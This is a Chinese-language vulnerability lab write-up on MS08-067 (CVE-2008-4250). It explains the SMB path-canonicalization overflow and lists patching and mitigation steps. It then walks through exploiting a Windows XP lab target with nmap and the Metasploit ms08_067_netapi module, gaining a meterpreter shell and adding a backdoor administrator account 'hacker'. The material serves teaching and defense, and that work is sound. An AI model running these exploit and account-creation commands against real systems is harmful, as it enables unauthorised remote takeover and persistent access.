一、漏洞介绍

基本信息

| 属性 | 内容 |

| -------- | --------------------------------------------------------------------- |

| 漏洞编号 | MS08-067 / CVE-2008-4250 |

| 漏洞名称 | Windows Server 服务 RPC 请求缓冲区溢出漏洞 |

| 发布时间 | 2008年10月23日 |

| 危害等级 | 严重 (Critical) - CVSS 10.0 |

| 影响系统 | Windows 2000 SP4, XP SP2/SP3, Server 2003 SP1/SP2, Vista, Server 2008 |

| 攻击向量 | 无需认证,远程攻击,通过 SMB 445端口 |

| 攻击后果 | 远程代码执行,获得 SYSTEM 权限 |

导致漏洞的原因:路径规范化机制缺陷

NetpwPathCanonicalize 函数在处理包含 ../ 序列的路径字符串时,执行以下操作:

// 伪代码示意
while (路径中包含 "../") {
    找到 "../" 位置;
    将后续内容向前移动覆盖 "../";  // 问题点:未验证目标缓冲区边界
    继续解析;
}
  1. 缺少输入长度验证:函数未对输入路径字符串执行前置长度校验

  2. 指针运算越界:在去除 ../ 时,目标指针 dest 可能递减至栈帧基址以下

  3. 栈缓冲区溢出:当 dest 指针下溢后,后续字符复制操作覆盖返回地址(Saved Return Pointer, SRP)和结构化异常处理链(SEH chain)

  4. 任意代码执行:攻击者通过覆盖返回地址,劫持指令指针(EIP),实现远程代码执行

用大白话讲就是:程序处理用户输入时没检查长度,结果被攻击者用超长数据"撑破"了内存缓冲区,趁机篡改了程序的"回家地址",让程序执行了攻击者的恶意代码

如何修复

## 三、漏洞修复与防护

### 3.1 永久修复(推荐)
安装微软官方补丁 KB958644:
- 下载地址:https://www.catalog.update.microsoft.com/Search.aspx?q=KB958644
- 安装后重启系统
- 验证补丁:`wmic qfe get HotFixID | findstr "958644"`

### 3.2 临时缓解措施
如暂时无法打补丁:

| 措施 | 命令 | 影响 |
|------|------|------|
| 关闭 Server 服务 | `net stop server` | 丧失文件共享功能 |
| 防火墙阻断 445 | `netsh advfirewall firewall add rule name="Block SMB" dir=in action=block protocol=tcp localport=445` | 阻断外部 SMB 访问 |
| 禁用 NetBIOS | 网络适配器 → IPv4 → 高级 → WINS → 禁用 NetBIOS over TCP/IP | 阻断 139 端口 |

### 3.3 企业级防护
- 网络分段:将遗留系统隔离在独立 VLAN
- IDS/IPS:部署规则检测 MS08-067 利用特征
- 漏洞扫描:定期使用 nmap 脚本扫描内网

二、漏洞复现

这里我们使用vmware搭建靶机,关闭目标靶机的防火墙和系统更新

攻击机(kali):192.168.68.128

目标靶机(winXP_SP3):192.168.68.132

打开kali终端:

1、nmap扫描确认漏洞是否存在

nmap --script smb-vuln-ms08-067 -p 445 192.168.68.132

注释:--script参数只探测smb-vuln-ms08-067是否存在,-p指定端口(通过smb协议可以直接利用)

然后看到输出,显然目标靶机存在这个漏洞

| smb-vuln-ms08-067:
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|
|     Disclosure date: 2008-10-23
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-054: false
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED

2.上msfconsole

在kalilinux中输入msfconsole启动 msfconsole

search ms08-067

在控制台输入 search MS08-067 搜索一下

MS08-067-1.png

可以看到漏洞利用模块的具体名称

使用ms08_067_netapi模块

use exploit/windows/smb/ms08_067_netapi  

配置msf

set rhost 192.168.68.132
set rport 445
set lhost 192.168.68.128

rhost和rport分别表示的是远程目标主机的ip和远程端口,是目标靶机的(winXP)

lhost表示本地的ip,也就是攻击者自己的ip(kalilinux)

查看最终配置

show options
MS08-067-2.png

执行攻击

输入run 或者exploit 让msf执行攻击,当出现meterpreter时表示攻击成功,这里我们输入shell就可以让目标靶机执行命令了

MS08-067-3.png

3.让目标靶机执行相关命令

查看ip : ipconfig

MS08-067-4.png

添加一个管理员用户

这里我创建了一个hacker/hacker的用户

net user hacker hacker /add

添加到管理员组

net localgroup administrators hacker /add

验证是否成功

net localgroup administrators

可以看到hacker已经在管理员组了

MS08-067-5.png